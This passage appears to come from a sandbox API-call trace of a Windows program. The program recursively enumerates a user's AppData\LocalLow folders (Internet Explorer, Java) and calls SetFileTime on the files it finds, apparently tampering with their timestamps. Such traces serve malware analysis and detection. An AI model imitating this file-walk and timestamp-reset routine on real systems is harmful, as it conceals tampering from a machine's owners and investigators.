pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\") returned="" [0087.134] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0087.134] CloseHandle (hObject=0x9c) returned 1 [0087.134] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="www.msn[1].xml", cAlternateFileName="WWWMSN~1.XML")) returned 0 [0087.134] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0087.135] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x560055, dwReserved1=0x440030, cFileName="VGMTOI09", cAlternateFileName="")) returned 0 [0087.135] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0087.135] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x5004f0, cFileName="Services", cAlternateFileName="")) returned 1 [0087.135] lstrcmpA (lpString1=".", lpString2="Services") returned -1 [0087.135] lstrcmpA (lpString1="..", lpString2="Services") returned -1 [0087.135] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\*.*") returned="*.*" [0087.135] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502698 [0087.137] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.137] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.137] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.137] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.137] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.137] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0087.138] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x5004f0, cFileName="Services", cAlternateFileName="")) returned 0 [0087.138] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0087.138] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4d0049, dwReserved1=0x50004a, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 0 [0087.138] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0087.138] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Sun", cAlternateFileName="")) returned 1 [0087.138] lstrcmpA (lpString1=".", lpString2="Sun") returned -1 [0087.138] lstrcmpA (lpString1="..", lpString2="Sun") returned -1 [0087.138] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*.*") returned="*.*" [0087.138] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6e0049, dwReserved1=0x650074, cFileName=".", cAlternateFileName="")) returned 0x502618 [0087.141] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.141] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x650000, cFileName="..", cAlternateFileName="")) returned 1 [0087.141] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.141] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.141] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0087.141] lstrcmpA (lpString1=".", lpString2="Java") returned -1 [0087.141] lstrcmpA (lpString1="..", lpString2="Java") returned -1 [0087.141] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\*.*") returned="*.*" [0087.141] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0087.143] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.143] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.143] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.143] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.143] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AU", cAlternateFileName="")) returned 1 [0087.143] lstrcmpA (lpString1=".", lpString2="AU") returned -1 [0087.143] lstrcmpA (lpString1="..", lpString2="AU") returned -1 [0087.143] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*.*") returned="*.*" [0087.143] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0087.144] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.144] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.144] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.144] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.144] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8e062, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="au.cab", cAlternateFileName="")) returned 1 [0087.144] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.144] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\*.*") returned="*.*" [0087.144] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\" [0087.145] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\") returned="" [0087.147] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0087.152] CloseHandle (hObject=0x98) returned 1 [0087.152] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="au.msi", cAlternateFileName="")) returned 1 [0087.152] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.152] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab") returned="au.cab" [0087.153] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\" [0087.153] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\") returned="" [0087.153] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="au.msi", cAlternateFileName="")) returned 0 [0087.153] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0087.153] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0087.153] lstrcmpA (lpString1=".", lpString2="Deployment") returned -1 [0087.153] lstrcmpA (lpString1="..", lpString2="Deployment") returned -1 [0087.153] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*.*") returned="*.*" [0087.153] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502698 [0087.155] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.155] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.155] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.155] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.155] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa1ea6db0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfec5c570, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="deployment.properties", cAlternateFileName="DEPLOY~1.PRO")) returned 1 [0087.155] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.155] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*.*") returned="*.*" [0087.155] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\" [0087.155] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="" [0087.161] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0087.161] CloseHandle (hObject=0x98) returned 1 [0087.161] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0087.161] lstrcmpA (lpString1=".", lpString2="security") returned -1 [0087.161] lstrcmpA (lpString1="..", lpString2="security") returned -1 [0087.161] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties") returned="deployment.properties" [0087.161] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x5035ce, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0087.165] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.165] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0087.165] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.166] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.166] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 0 [0087.166] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0087.166] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650073, dwReserved1=0x750063, cFileName="tmp", cAlternateFileName="")) returned 1 [0087.166] lstrcmpA (lpString1=".", lpString2="tmp") returned -1 [0087.166] lstrcmpA (lpString1="..", lpString2="tmp") returned -1 [0087.166] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*.*") returned="*.*" [0087.166] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0087.166] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.166] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.167] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.167] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.167] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfaeead90, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 1 [0087.167] lstrcmpA (lpString1=".", lpString2="si") returned -1 [0087.167] lstrcmpA (lpString1="..", lpString2="si") returned -1 [0087.167] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\*.*") returned="*.*" [0087.167] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, 